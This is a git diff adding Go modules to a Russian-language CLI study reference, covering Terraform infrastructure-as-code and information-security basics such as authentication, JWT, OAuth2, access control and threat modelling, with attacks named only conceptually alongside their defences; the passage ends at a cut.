"destroy", "модуль", "module", "workspace", "backend", "S3",
|
||||
"AWS", "GCP", "Azure", "переменные", "output",
|
||||
},
|
||||
"monitoring": {
|
||||
"мониторинг", "Prometheus", "Grafana", "AlertManager", "Loki",
|
||||
"метрики", "metrics", "алерты", "alerts", "PromQL", "LogQL",
|
||||
"dashboard", "дашборд", "exporter", "node exporter", "Tempo",
|
||||
"трассировка", "tracing", "observability", "наблюдаемость",
|
||||
"SIEM", "логи", "scrape",
|
||||
},
|
||||
"nginx": {
|
||||
"nginx", "веб-сервер", "reverse proxy", "балансировка", "load balancing",
|
||||
"upstream", "virtual host", "server block", "SSL", "TLS", "HTTPS",
|
||||
"Let's Encrypt", "certbot", "HAProxy", "rate limiting", "кэширование",
|
||||
"cache", "gzip", "location", "proxy_pass", "CORS",
|
||||
},
|
||||
}
|
||||
if v, ok := kw[key]; ok {
|
||||
return v
|
||||
}
|
||||
return []string{}
|
||||
}
|
||||
291
modules/devopsmodules/devops_terraform.go
Normal file
291
modules/devopsmodules/devops_terraform.go
Normal file
|
|
@ -0,0 +1,291 @@
|
|||
package devopsmodules
|
||||
|
||||
import (
|
||||
"rubric/utils"
|
||||
)
|
||||
|
||||
var TerraformModule = Module{
|
||||
Key: "terraform",
|
||||
Aliases: []string{"tf", "iac", "infra"},
|
||||
Title: "Terraform — инфраструктура как код",
|
||||
Description: "HCL, провайдеры, ресурсы, state, модули, workspace",
|
||||
Run: showTerraform,
|
||||
}
|
||||
|
||||
func showTerraform() {
|
||||
utils.Header("DevOps — Terraform")
|
||||
|
||||
utils.Section("Основы и установка")
|
||||
utils.Code(`Terraform — декларативный IaC инструмент от HashiCorp.
|
||||
Описываешь желаемое состояние → Terraform приводит инфраструктуру к нему.
|
||||
|
||||
# Установка:
|
||||
# https://developer.hashicorp.com/terraform/install
|
||||
# Linux (apt):
|
||||
wget -O - https://apt.releases.hashicorp.com/gpg | sudo gpg --dearmor \
|
||||
-o /usr/share/keyrings/hashicorp-archive-keyring.gpg
|
||||
echo "deb [signed-by=...] https://apt.releases.hashicorp.com $(lsb_release -cs) main" \
|
||||
| sudo tee /etc/apt/sources.list.d/hashicorp.list
|
||||
sudo apt update && sudo apt install terraform
|
||||
|
||||
terraform version
|
||||
terraform -install-autocomplete`)
|
||||
|
||||
utils.Section("Жизненный цикл")
|
||||
utils.Code(`terraform init # скачать провайдеры, инициализировать backend
|
||||
terraform validate # проверить синтаксис
|
||||
terraform fmt # форматировать код
|
||||
terraform plan # показать что изменится
|
||||
terraform apply # применить изменения
|
||||
terraform destroy # удалить всю инфраструктуру
|
||||
|
||||
terraform plan -out=plan.tfplan # сохранить план
|
||||
terraform apply plan.tfplan # применить сохранённый план
|
||||
terraform apply -auto-approve # без подтверждения (CI/CD)
|
||||
terraform apply -target=aws_instance.web # только конкретный ресурс
|
||||
terraform plan -var="region=eu-west-1"
|
||||
terraform plan -var-file="prod.tfvars"`)
|
||||
|
||||
utils.Section("Синтаксис HCL")
|
||||
utils.Code(`# main.tf — основная конфигурация:
|
||||
terraform {
|
||||
required_version = ">= 1.7"
|
||||
required_providers {
|
||||
aws = {
|
||||
source = "hashicorp/aws"
|
||||
version = "~> 5.0"
|
||||
}
|
||||
}
|
||||
backend "s3" {
|
||||
bucket = "my-tf-state"
|
||||
key = "prod/terraform.tfstate"
|
||||
region = "eu-west-1"
|
||||
encrypt = true
|
||||
}
|
||||
}
|
||||
|
||||
provider "aws" {
|
||||
region = var.aws_region
|
||||
profile = "myprofile"
|
||||
}`)
|
||||
|
||||
utils.Code(`# variables.tf — входные переменные:
|
||||
variable "aws_region" {
|
||||
description = "AWS регион"
|
||||
type = string
|
||||
default = "eu-west-1"
|
||||
}
|
||||
|
||||
variable "instance_count" {
|
||||
type = number
|
||||
default = 2
|
||||
}
|
||||
|
||||
variable "allowed_cidrs" {
|
||||
type = list(string)
|
||||
default = ["10.0.0.0/8"]
|
||||
}
|
||||
|
||||
variable "tags" {
|
||||
type = map(string)
|
||||
default = {
|
||||
Environment = "production"
|
||||
Team = "backend"
|
||||
}
|
||||
}
|
||||
|
||||
variable "db_password" {
|
||||
type = string
|
||||
sensitive = true # не показывать в логах
|
||||
}`)
|
||||
|
||||
utils.Code(`# outputs.tf — выходные значения:
|
||||
output "web_ip" {
|
||||
value = aws_instance.web.public_ip
|
||||
description = "Публичный IP веб-сервера"
|
||||
}
|
||||
|
||||
output "db_endpoint" {
|
||||
value = aws_db_instance.main.endpoint
|
||||
sensitive = true
|
||||
}`)
|
||||
|
||||
utils.Code(`# Использование переменных:
|
||||
resource "aws_instance" "web" {
|
||||
ami = data.aws_ami.ubuntu.id
|
||||
instance_type = "t3.micro"
|
||||
count = var.instance_count
|
||||
|
||||
tags = merge(var.tags, {
|
||||
Name = "web-${count.index + 1}"
|
||||
})
|
||||
}
|
||||
|
||||
# locals — локальные вычисляемые значения:
|
||||
locals {
|
||||
name_prefix = "${var.project}-${var.environment}"
|
||||
common_tags = {
|
||||
Project = var.project
|
||||
Environment = var.environment
|
||||
ManagedBy = "terraform"
|
||||
}
|
||||
}`)
|
||||
|
||||
utils.Section("Основные ресурсы (AWS)")
|
||||
utils.Code(`# Data sources — чтение существующих ресурсов:
|
||||
data "aws_ami" "ubuntu" {
|
||||
most_recent = true
|
||||
owners = ["099720109477"] # Canonical
|
||||
filter {
|
||||
name = "name"
|
||||
values = ["ubuntu/images/hvm-ssd/ubuntu-*-22.04-amd64-server-*"]
|
||||
}
|
||||
}
|
||||
|
||||
data "aws_vpc" "default" {
|
||||
default = true
|
||||
}
|
||||
|
||||
# EC2:
|
||||
resource "aws_instance" "web" {
|
||||
ami = data.aws_ami.ubuntu.id
|
||||
instance_type = "t3.micro"
|
||||
subnet_id = aws_subnet.public.id
|
||||
vpc_security_group_ids = [aws_security_group.web.id]
|
||||
key_name = "mykey"
|
||||
user_data = file("scripts/init.sh")
|
||||
|
||||
root_block_device {
|
||||
volume_size = 20
|
||||
encrypted = true
|
||||
}
|
||||
|
||||
lifecycle {
|
||||
create_before_destroy = true
|
||||
ignore_changes = [ami]
|
||||
}
|
||||
|
||||
tags = local.common_tags
|
||||
}
|
||||
|
||||
# Security Group:
|
||||
resource "aws_security_group" "web" {
|
||||
name = "${local.name_prefix}-web-sg"
|
||||
vpc_id = aws_vpc.main.id
|
||||
|
||||
ingress {
|
||||
from_port = 80
|
||||
to_port = 80
|
||||
protocol = "tcp"
|
||||
cidr_blocks = ["0.0.0.0/0"]
|
||||
}
|
||||
|
||||
egress {
|
||||
from_port = 0
|
||||
to_port = 0
|
||||
protocol = "-1"
|
||||
cidr_blocks = ["0.0.0.0/0"]
|
||||
}
|
||||
}
|
||||
|
||||
# S3 Bucket:
|
||||
resource "aws_s3_bucket" "assets" {
|
||||
bucket = "${local.name_prefix}-assets"
|
||||
}
|
||||
|
||||
resource "aws_s3_bucket_versioning" "assets" {
|
||||
bucket = aws_s3_bucket.assets.id
|
||||
versioning_configuration {
|
||||
status = "Enabled"
|
||||
}
|
||||
}`)
|
||||
|
||||
utils.Section("Модули (Modules)")
|
||||
utils.Code(`# Модуль — переиспользуемая конфигурация
|
||||
# modules/ec2/main.tf, variables.tf, outputs.tf
|
||||
|
||||
# Использование модуля:
|
||||
module "web_servers" {
|
||||
source = "./modules/ec2"
|
||||
# или из реестра:
|
||||
# source = "terraform-aws-modules/ec2-instance/aws"
|
||||
# version = "~> 5.0"
|
||||
|
||||
instance_count = 3
|
||||
instance_type = "t3.small"
|
||||
vpc_id = aws_vpc.main.id
|
||||
subnet_ids = aws_subnet.public[*].id
|
||||
tags = local.common_tags
|
||||
}
|
||||
|
||||
output "web_ips" {
|
||||
value = module.web_servers.public_ips
|
||||
}
|
||||
|
||||
# Популярные модули из реестра registry.terraform.io:
|
||||
# terraform-aws-modules/vpc/aws
|
||||
# terraform-aws-modules/eks/aws
|
||||
# terraform-aws-modules/rds/aws`)
|
||||
|
||||
utils.Section("State и Backend")
|
||||
utils.Code(`# State — файл состояния (terraform.tfstate)
|
||||
# Хранит текущее состояние инфраструктуры.
|
||||
# НЕ коммити в Git! Содержит секреты.
|
||||
|
||||
# Remote backend — общий state для команды:
|
||||
# S3 + DynamoDB (для lock):
|
||||
backend "s3" {
|
||||
bucket = "my-tf-state"
|
||||
key = "prod/terraform.tfstate"
|
||||
region = "eu-west-1"
|
||||
encrypt = true
|
||||
dynamodb_table = "tf-state-lock" # блокировка
|
||||
}
|
||||
|
||||
# Команды state:
|
||||
terraform state list # список ресурсов в state
|
||||
terraform state show aws_instance.web # детали ресурса
|
||||
terraform state mv aws_instance.old aws_instance.new # переименовать
|
||||
terraform state rm aws_instance.web # убрать из state (не удалять)
|
||||
terraform import aws_instance.web i-1234567890 # импортировать существующий
|
||||
|
||||
# Workspace — несколько окружений в одном конфиге:
|
||||
terraform workspace list
|
||||
terraform workspace new staging
|
||||
terraform workspace select production
|
||||
# В коде: terraform.workspace → "staging" / "production"`)
|
||||
|
||||
utils.Section("Лучшие практики")
|
||||
utils.Code(`Структура проекта:
|
||||
infra/
|
||||
├── modules/ # переиспользуемые модули
|
||||
│ ├── vpc/
|
||||
│ ├── eks/
|
||||
│ └── rds/
|
||||
├── environments/
|
||||
│ ├── staging/
|
||||
│ │ ├── main.tf
|
||||
│ │ ├── variables.tf
|
||||
│ │ └── staging.tfvars
|
||||
│ └── production/
|
||||
│ ├── main.tf
|
||||
│ └── production.tfvars
|
||||
└── .terraform.lock.hcl # версии провайдеров (коммитить!)
|
||||
|
||||
Правила:
|
||||
- Всегда планируй перед apply: terraform plan
|
||||
- Remote state с блокировкой для командной работы
|
||||
- Раздели state по окружениям и компонентам
|
||||
- Используй .terraform.lock.hcl в git
|
||||
- sensitive = true для секретных переменных
|
||||
- Используй terragrunt для DRY-конфигураций
|
||||
|
||||
Инструменты:
|
||||
tflint — линтинг Terraform
|
||||
tfsec — статический анализ безопасности
|
||||
checkov — security и compliance checks
|
||||
terragrunt — обёртка для DRY-конфигурации
|
||||
atlantis — автоматизация PR для Terraform`)
|
||||
|
||||
utils.Footer()
|
||||
}
|
||||
|
|
@ -99,3 +99,26 @@ func ListModules() {
|
|||
}
|
||||
fmt.Println()
|
||||
}
|
||||
|
||||
// Keywords возвращает ключевые слова для поиска по модулю
|
||||
func Keywords(key string) []string {
|
||||
kw := map[string][]string{
|
||||
"basics": {
|
||||
"установка", "install", "go build", "go test", "go run", "go fmt",
|
||||
"go vet", "go doc", "go mod", "go get", "тестирование", "сборка",
|
||||
"компиляция", "кросс-компиляция", "GOOS", "GOARCH", "golangci-lint",
|
||||
"бенчмарк", "benchmark", "покрытие", "coverage", "go env", "GOPATH",
|
||||
},
|
||||
"structs": {
|
||||
"переменные", "variables", "объявления", "declarations", "типы", "types",
|
||||
"указатели", "pointers", "new", "область видимости", "scope",
|
||||
"пакеты", "packages", "импорт", "import", "инициализация", "init",
|
||||
"var", "const", "nil", "zero value", "нулевое значение",
|
||||
"присваивание", "assignment", "ключевые слова", "keywords",
|
||||
},
|
||||
}
|
||||
if v, ok := kw[key]; ok {
|
||||
return v
|
||||
}
|
||||
return []string{}
|
||||
}
|
||||
|
|
|
|||
325
modules/infosecmodules/infosec_authn.go
Normal file
325
modules/infosecmodules/infosec_authn.go
Normal file
|
|
@ -0,0 +1,325 @@
|
|||
package infosecmodules
|
||||
|
||||
import (
|
||||
"rubric/utils"
|
||||
)
|
||||
|
||||
var AuthnModule = Module{
|
||||
Key: "authn",
|
||||
Aliases: []string{"auth", "mfa", "jwt", "oauth"},
|
||||
Title: "Аутентификация и авторизация",
|
||||
Description: "MFA, JWT, OAuth2, OIDC, RBAC, LDAP/AD, управление доступом",
|
||||
Run: showAuthn,
|
||||
}
|
||||
|
||||
func showAuthn() {
|
||||
utils.Header("InfoSec — Аутентификация и авторизация")
|
||||
|
||||
utils.Section("Основные понятия")
|
||||
utils.Code(`Authentication (AuthN) — кто ты? Проверка идентичности.
|
||||
Authorization (AuthZ) — что тебе можно? Проверка прав.
|
||||
|
||||
Факторы аутентификации:
|
||||
Something you know — пароль, PIN, секретный вопрос
|
||||
Something you have — токен, телефон, смарт-карта
|
||||
Something you are — биометрика (отпечаток, лицо)
|
||||
Somewhere you are — геолокация, IP (дополнительный фактор)
|
||||
|
||||
MFA (Multi-Factor Authentication) — два и более фактора.
|
||||
2FA — два фактора (подмножество MFA).
|
||||
|
||||
Типы MFA (от слабого к сильному):
|
||||
SMS OTP — уязвим к SIM-swap, SS7 атакам
|
||||
TOTP — RFC 6238, Google Authenticator (лучше SMS)
|
||||
HOTP — счётчик, менее популярен
|
||||
Push Auth — Duo, Microsoft Authenticator
|
||||
FIDO2/WebAuthn — аппаратные ключи, phishing-resistant (лучший вариант)`)
|
||||
|
||||
utils.Section("Пароли и хранение")
|
||||
utils.Code(`Правила паролей (NIST SP 800-63B — актуальные рекомендации):
|
||||
- Минимальная длина: 8+ символов (лучше 12-14+)
|
||||
- НЕ требовать обязательную смену (только при компрометации)
|
||||
- НЕ требовать сложность (но и не запрещать)
|
||||
- Проверять по словарю скомпрометированных паролей
|
||||
- Разрешать пробелы и Unicode
|
||||
- Показывать пароль при вводе (опционально)
|
||||
- Поддерживать менеджеры паролей (не ограничивать длину)
|
||||
|
||||
Хранение паролей:
|
||||
❌ Открытый текст
|
||||
❌ Обратимое шифрование
|
||||
❌ MD5 / SHA-1 без соли
|
||||
✓ bcrypt (cost ≥ 12), Argon2id, scrypt
|
||||
|
||||
Проверка скомпрометированных паролей:
|
||||
Have I Been Pwned API — проверить hashed пароль
|
||||
k-Anonymity: отправить первые 5 символов хэша
|
||||
https://api.pwnedpasswords.com/range/{hash_prefix}
|
||||
|
||||
Account Lockout:
|
||||
Блокировать после N неудачных попыток (3-5)
|
||||
Экспоненциальная задержка между попытками
|
||||
Уведомлять пользователя о неудачных попытках`)
|
||||
|
||||
utils.Section("TOTP — Time-based One-Time Password")
|
||||
utils.Code(`RFC 6238. Основан на HMAC-SHA1 + временном счётчике.
|
||||
|
||||
Как работает:
|
||||
1. Общий секрет (seed) обменивается один раз (QR-код)
|
||||
2. Counter = floor(UnixTime / 30) # меняется каждые 30 сек
|
||||
3. OTP = HOTP(secret, counter) — 6-8 цифр
|
||||
4. Сервер проверяет OTP ± 1 временной шаг
|
||||
|
||||
Уязвимости:
|
||||
- Фишинг в реальном времени (attacker-in-the-middle)
|
||||
- Не защищает от SIM-swap (только SMS)
|
||||
- Потеря устройства = потеря доступа
|
||||
|
||||
# Python реализация:
|
||||
import pyotp
|
||||
secret = pyotp.random_base32()
|
||||
totp = pyotp.TOTP(secret)
|
||||
print(totp.now()) # текущий OTP
|
||||
print(totp.verify("123456")) # проверить
|
||||
|
||||
# Provisioning URI для QR-кода:
|
||||
uri = totp.provisioning_uri("alice@example.com", issuer_name="MyApp")`)
|
||||
|
||||
utils.Section("FIDO2 / WebAuthn — беспарольная аутентификация")
|
||||
utils.Code(`FIDO2 = WebAuthn (W3C) + CTAP (Client-to-Authenticator Protocol)
|
||||
Phishing-resistant: ключ привязан к origin (домену).
|
||||
|
||||
Аутентификаторы:
|
||||
Platform — встроенный в устройство (Touch ID, Windows Hello)
|
||||
Roaming — внешний ключ (YubiKey, Titan Key)
|
||||
|
||||
Как работает:
|
||||
Регистрация:
|
||||
1. Сервер отправляет challenge
|
||||
2. Аутентификатор создаёт пару ключей для этого origin
|
||||
3. Публичный ключ сохраняется на сервере
|
||||
4. Приватный ключ НИКОГДА не покидает устройство
|
||||
|
||||
Аутентификация:
|
||||
1. Сервер отправляет challenge
|
||||
2. Аутентификатор подписывает challenge приватным ключом
|
||||
3. Сервер верифицирует подпись публичным ключом
|
||||
|
||||
Атака фишингом НЕВОЗМОЖНА: ключ не работает на evil.com
|
||||
|
||||
Паспорты (Passkeys):
|
||||
= FIDO2 ключи, синхронизируемые через облако (iCloud, Google, 1Password)
|
||||
Удобство ключей + синхронизация устройств`)
|
||||
|
||||
utils.Section("JWT — JSON Web Token")
|
||||
utils.Code(`JWT — компактный токен для передачи claims между сторонами.
|
||||
Используется для stateless аутентификации (API, микросервисы).
|
||||
|
||||
Структура: header.payload.signature
|
||||
|
||||
# Header (base64url):
|
||||
{"alg": "HS256", "typ": "JWT"}
|
||||
|
||||
# Payload (base64url):
|
||||
{
|
||||
"sub": "1234567890", # subject (user ID)
|
||||
"name": "Alice Smith",
|
||||
"iat": 1516239022, # issued at
|
||||
"exp": 1516242622, # expiration
|
||||
"jti": "uuid", # JWT ID (для revocation)
|
||||
"iss": "https://auth.example.com", # issuer
|
||||
"aud": "https://api.example.com" # audience
|
||||
}
|
||||
|
||||
# Signature:
|
||||
HMAC-SHA256(base64(header) + "." + base64(payload), secret)
|
||||
|
||||
Типы алгоритмов:
|
||||
Симметричные (один ключ):
|
||||
HS256, HS384, HS512 — HMAC-SHA
|
||||
Асимметричные (ключевая пара):
|
||||
RS256 — RSA + SHA256 (рекомендуется для распределённых систем)
|
||||
ES256 — ECDSA + SHA256 (компактнее)
|
||||
EdDSA — Ed25519 (современный)
|
||||
|
||||
Уязвимости JWT:
|
||||
alg=none — КРИТИЧНО, проверяй алгоритм!
|
||||
Атака: изменить alg на "none", удалить подпись
|
||||
RS256→HS256 подмена
|
||||
Атака: использовать публичный RSA ключ как HMAC секрет
|
||||
Слабый секрет — поддаётся брутфорсу
|
||||
Отсутствие exp — токен не истекает
|
||||
Хранение в localStorage — доступен XSS атаке
|
||||
|
||||
Лучшие практики:
|
||||
- Короткий TTL (access token: 15 мин, refresh: 7 дней)
|
||||
- Использовать RS256 или ES256 (не HS256 в распределённых системах)
|
||||
- Хранить в HttpOnly cookie (не localStorage!)
|
||||
- Проверять iss, aud, exp
|
||||
- Реализовать token revocation (Redis blacklist или jti)`)
|
||||
|
||||
utils.Section("OAuth2 и OpenID Connect")
|
||||
utils.Code(`OAuth2 — фреймворк делегированной авторизации (не аутентификации!).
|
||||
OIDC (OpenID Connect) — слой аутентификации поверх OAuth2.
|
||||
|
||||
OAuth2 Roles:
|
||||
Resource Owner — пользователь
|
||||
Client — приложение (запрашивает доступ)
|
||||
Resource Server — API с защищёнными данными
|
||||
Authorization Server — выдаёт токены
|
||||
|
||||
OAuth2 Grant Types (потоки):
|
||||
Authorization Code — для веб-приложений (РЕКОМЕНДУЕТСЯ)
|
||||
1. Redirect → Auth Server с code_challenge (PKCE)
|
||||
2. Пользователь авторизуется
|
||||
3. Redirect обратно с code
|
||||
4. Обмен code на tokens (server-side)
|
||||
|
||||
Client Credentials — сервис-к-сервису (без пользователя)
|
||||
|
||||
Device Authorization — умные устройства, CLI
|
||||
|
||||
❌ Implicit Flow — устаревший, уязвим (токен в URL)
|
||||
❌ Resource Owner Password — только для доверенных приложений
|
||||
|
||||
PKCE (Proof Key for Code Exchange):
|
||||
Защита от перехвата authorization code.
|
||||
Обязателен для публичных клиентов (SPA, мобильные).
|
||||
code_verifier = random()
|
||||
code_challenge = base64url(sha256(code_verifier))
|
||||
|
||||
Токены OAuth2:
|
||||
Access Token — краткоживущий, доступ к API
|
||||
Refresh Token — долгоживущий, получение нового access token
|
||||
ID Token — OIDC, JWT с данными пользователя
|
||||
|
||||
OIDC Scopes:
|
||||
openid — обязательный для OIDC, возвращает ID Token
|
||||
profile — имя, аватар, locale
|
||||
email — email и верификация
|
||||
address — адрес
|
||||
phone — телефон`)
|
||||
|
||||
utils.Section("RBAC, ABAC и управление доступом")
|
||||
utils.Code(`DAC (Discretionary Access Control):
|
||||
Владелец решает кто имеет доступ (Linux chmod, ACL)
|
||||
|
||||
MAC (Mandatory Access Control):
|
||||
Системная политика (SELinux, AppArmor)
|
||||
|
||||
RBAC (Role-Based Access Control):
|
||||
Права назначаются ролям, роли — пользователям.
|
||||
Пример: admin, editor, viewer
|
||||
Kubernetes RBAC: Role → RoleBinding → ServiceAccount/User
|
||||
|
||||
ABAC (Attribute-Based Access Control):
|
||||
Решения на основе атрибутов (пользователь, ресурс, контекст)
|
||||
Пример: OPA (Open Policy Agent), AWS IAM
|
||||
|
||||
ReBAC (Relationship-Based Access Control):
|
||||
Права через отношения между объектами
|
||||
Пример: Google Zanzibar, SpiceDB, OpenFGA
|
||||
|
||||
Принцип наименьших привилегий:
|
||||
Давать только необходимые права
|
||||
Just-in-Time (JIT) доступ — временное повышение привилегий
|
||||
Privileged Access Management (PAM):
|
||||
CyberArk, HashiCorp Vault, AWS IAM Identity Center
|
||||
|
||||
# OPA — Open Policy Agent (пример Rego политики):
|
||||
package authz
|
||||
|
||||
default allow = false
|
||||
|
||||
allow if {
|
||||
input.method == "GET"
|
||||
input.path == ["api", "public"]
|
||||
}
|
||||
|
||||
allow if {
|
||||
input.user.role == "admin"
|
||||
}`)
|
||||
|
||||
utils.Section("LDAP и Active Directory")
|
||||
utils.Code(`LDAP (Lightweight Directory Access Protocol):
|
||||
Протокол доступа к каталогам (пользователи, группы, ресурсы).
|
||||
|
||||
Active Directory — Microsoft LDAP + Kerberos + DNS.
|
||||
|
||||
LDAP структура:
|
||||
DC=example,DC=com — домен
|
||||
OU=Users — организационная единица
|
||||
CN=Alice Smith — объект (пользователь)
|
||||
|
||||
Полный DN: CN=Alice Smith,OU=Users,DC=example,DC=com
|
||||
|
||||
# ldapsearch — поиск в LDAP:
|
||||
ldapsearch -H ldap://dc.example.com \
|
||||
-D "CN=binduser,DC=example,DC=com" \
|
||||
-w password \
|
||||
-b "DC=example,DC=com" \
|
||||
"(sAMAccountName=alice)"
|
||||
|
||||
# Атаки на LDAP/AD:
|
||||
Pass-the-Hash — использование хэша NTLM без пароля
|
||||
Pass-the-Ticket — использование Kerberos билета
|
||||
Kerberoasting — получение хэшей service tickets
|
||||
AS-REP Roasting — атака на аккаунты без Kerberos preauth
|
||||
DCSync — имитация контроллера домена (миллионы хэшей)
|
||||
LDAP Injection — инъекция в LDAP-запросы
|
||||
|
||||
# Защита:
|
||||
- Kerberos AES вместо NTLM/RC4
|
||||
- Protected Users группа (не кэшировать credentials)
|
||||
- Отключить NTLMv1, ограничить NTLMv2
|
||||
- LAPS (Local Admin Password Solution)
|
||||
- Tiered Administration Model`)
|
||||
|
||||
utils.Section("Secrets Management")
|
||||
utils.Code(`НЕ хранить секреты в:
|
||||
❌ Git / исходном коде
|
||||
❌ Docker image / Dockerfile
|
||||
❌ Environment variables (видны в /proc)
|
||||
❌ Логах
|
||||
|
||||
Инструменты управления секретами:
|
||||
HashiCorp Vault — де-факто стандарт:
|
||||
Динамические секреты (генерация по запросу)
|
||||
Lease и автообновление
|
||||
Аудит всех обращений
|
||||
|
||||
AWS Secrets Manager / Parameter Store
|
||||
GCP Secret Manager
|
||||
Azure Key Vault
|
||||
Kubernetes Secrets (base64, не зашифровано по умолчанию!)
|
||||
+ Sealed Secrets (Bitnami) — зашифрованные секреты в Git
|
||||
+ External Secrets Operator — синхронизация с Vault/AWS
|
||||
|
||||
# HashiCorp Vault — основные операции:
|
||||
vault server -config=vault.hcl
|
||||
vault operator init # инициализация (ключи разуплотнения)
|
||||
vault operator unseal # разуплотнение
|
||||
vault login
|
||||
|
||||
vault secrets enable kv-v2
|
||||
vault kv put secret/myapp db_password=s3cret api_key=abc123
|
||||
vault kv get secret/myapp
|
||||
vault kv get -field=db_password secret/myapp
|
||||
|
||||
# Динамические секреты PostgreSQL:
|
||||
vault secrets enable database
|
||||
vault write database/config/mydb \
|
||||
plugin_name=postgresql-database-plugin \
|
||||
connection_url="postgresql://{{username}}:{{password}}@db:5432/mydb" \
|
||||
allowed_roles="my-role"
|
||||
vault write database/roles/my-role \
|
||||
db_name=mydb \
|
||||
creation_statements="CREATE ROLE..." \
|
||||
default_ttl="1h" max_ttl="24h"
|
||||
|
||||
# Получить временные credentials:
|
||||
vault read database/creds/my-role
|
||||
# → username: v-root-xyz123, password: A1B2C3..., lease_duration: 1h`)
|
||||
|
||||
utils.Footer()
|
||||
}
|
||||
155
modules/infosecmodules/infosec_basics.go
Normal file
155
modules/infosecmodules/infosec_basics.go
Normal file
|
|
@ -0,0 +1,155 @@
|
|||
package infosecmodules
|
||||
|
||||
import (
|
||||
"rubric/utils"
|
||||
)
|
||||
|
||||
var BasicsModule = Module{
|
||||
Key: "basics",
|
||||
Aliases: []string{"b", "intro", "основы"},
|
||||
Title: "Основы информационной безопасности",
|
||||
Description: "Модели угроз, CIA, стандарты, термины, атаки, классификации",
|
||||
Run: showBasics,
|
||||
}
|
||||
|
||||
func showBasics() {
|
||||
utils.Header("InfoSec — Основы")
|
||||
|
||||
utils.Section("Триада CIA")
|
||||
utils.Code(`CIA Triad — основа информационной безопасности:
|
||||
|
||||
Confidentiality (Конфиденциальность)
|
||||
Информация доступна только авторизованным лицам.
|
||||
Нарушение: утечка данных, перехват трафика.
|
||||
Меры: шифрование, контроль доступа, NDA.
|
||||
|
||||
Integrity (Целостность)
|
||||
Информация не изменена несанкционированно.
|
||||
Нарушение: подмена данных, SQL-инъекция.
|
||||
Меры: хэши, подписи, контроль версий, аудит.
|
||||
|
||||
Availability (Доступность)
|
||||
Система работает когда нужна.
|
||||
Нарушение: DDoS, сбой оборудования.
|
||||
Меры: резервирование, backups, CDN, мониторинг.
|
||||
|
||||
Расширения:
|
||||
+ Non-repudiation (Неотказуемость) — действие нельзя отрицать
|
||||
+ Authenticity — подлинность источника
|
||||
+ Accountability — действия можно проследить до субъекта`)
|
||||
|
||||
utils.Section("Ключевые понятия")
|
||||
utils.Code(`Угроза (Threat) — потенциальное событие, способное навредить
|
||||
Уязвимость (Vulnerability) — слабое место в системе
|
||||
Риск (Risk) — вероятность × последствия угрозы
|
||||
Эксплойт (Exploit) — использование уязвимости
|
||||
Атака (Attack) — реализация угрозы
|
||||
Вектор атаки (Attack Vector) — путь реализации атаки
|
||||
Поверхность атаки (Attack Surface) — совокупность точек входа
|
||||
|
||||
Субъекты:
|
||||
Threat Actor — тот кто осуществляет атаку
|
||||
APT (Advanced Persistent Threat) — государственные хакеры
|
||||
Script Kiddie — использует чужие инструменты без понимания
|
||||
Insider Threat — угроза изнутри (сотрудник)
|
||||
Hacktivists — политически мотивированные хакеры`)
|
||||
|
||||
utils.Section("Классификация атак")
|
||||
utils.Code(`По цели:
|
||||
Пассивные — наблюдение, перехват (не изменяют систему)
|
||||
Активные — изменение, разрушение, внедрение
|
||||
|
||||
По вектору:
|
||||
Network — сетевые атаки (MITM, DDoS, сканирование)
|
||||
Web — уязвимости веб-приложений (XSS, SQLi, CSRF)
|
||||
Social Engineering — манипуляция людьми (фишинг, вишинг)
|
||||
Physical — физический доступ, кража устройств
|
||||
Supply Chain — атаки на цепочку поставок (SolarWinds)
|
||||
|
||||
Распространённые типы:
|
||||
Phishing — поддельные письма/сайты для кражи данных
|
||||
Spear Phishing — целевой фишинг (конкретная жертва)
|
||||
Ransomware — шифрование данных с выкупом
|
||||
Man-in-the-Middle — перехват и изменение трафика
|
||||
SQL Injection — внедрение SQL в запросы
|
||||
XSS — внедрение скриптов в веб-страницы
|
||||
DDoS — перегрузка сервиса запросами
|
||||
Brute Force — перебор паролей/ключей
|
||||
Zero-day — уязвимость без патча от вендора
|
||||
Privilege Escalation — повышение привилегий`)
|
||||
|
||||
utils.Section("Модели угроз (Threat Modeling)")
|
||||
utils.Code(`STRIDE — классификация угроз Microsoft:
|
||||
Spoofing — подделка идентичности
|
||||
Tampering — изменение данных
|
||||
Repudiation — отрицание действий
|
||||
Information Disclosure — утечка данных
|
||||
Denial of Service — отказ в обслуживании
|
||||
Elevation of Privilege — повышение привилегий
|
||||
|
||||
PASTA (Process for Attack Simulation and Threat Analysis):
|
||||
1. Определить бизнес-цели
|
||||
2. Определить технические требования
|
||||
3. Декомпозировать приложение
|
||||
4. Анализ угроз
|
||||
5. Анализ уязвимостей
|
||||
6. Моделирование атак
|
||||
7. Анализ рисков
|
||||
|
||||
DREAD — оценка риска (1-10 по каждому):
|
||||
Damage — ущерб от атаки
|
||||
Reproducibility — воспроизводимость
|
||||
Exploitability — сложность эксплуатации
|
||||
Affected users — количество пострадавших
|
||||
Discoverability — обнаруживаемость`)
|
||||
|
||||
utils.Section("Стандарты и фреймворки")
|
||||
utils.Code(`NIST Cybersecurity Framework:
|
||||
Identify → Protect → Detect → Respond → Recover
|
||||
|
||||
ISO/IEC 27001 — стандарт ISMS (Information Security Management System)
|
||||
ISO/IEC 27002 — практики управления ИБ
|
||||
|
||||
CIS Controls — 18 критических контролей безопасности:
|
||||
1. Инвентаризация активов
|
||||
2. Инвентаризация ПО
|
||||
3. Защита данных
|
||||
...
|
||||
18. Тестирование безопасности
|
||||
|
||||
OWASP — Open Web Application Security Project:
|
||||
OWASP Top 10 — топ уязвимостей веб-приложений
|
||||
ASVS — Application Security Verification Standard
|
||||
Testing Guide — руководство по тестированию
|
||||
|
||||
PCI DSS — Payment Card Industry Data Security Standard
|
||||
Для организаций обрабатывающих платёжные карты
|
||||
|
||||
GDPR / 152-ФЗ — защита персональных данных
|
||||
|
||||
CVSS — Common Vulnerability Scoring System
|
||||
Шкала серьёзности уязвимостей 0.0–10.0
|
||||
Low (<4), Medium (4-6.9), High (7-8.9), Critical (9-10)`)
|
||||
|
||||
utils.Section("Defence in Depth — эшелонированная защита")
|
||||
utils.Code(`Принцип многоуровневой защиты: компрометация одного уровня
|
||||
не означает компрометацию всей системы.
|
||||
|
||||
Уровни защиты:
|
||||
Физическая безопасность — замки, охрана, CCTV
|
||||
Периметр сети — firewall, IPS/IDS, DMZ
|
||||
Внутренняя сеть — сегментация, VLAN, NAC
|
||||
Хост — hardening, EDR, патчи
|
||||
Приложение — WAF, SAST, аутентификация
|
||||
Данные — шифрование, DLP, backups
|
||||
Люди — обучение, политики, MFA
|
||||
|
||||
Принципы:
|
||||
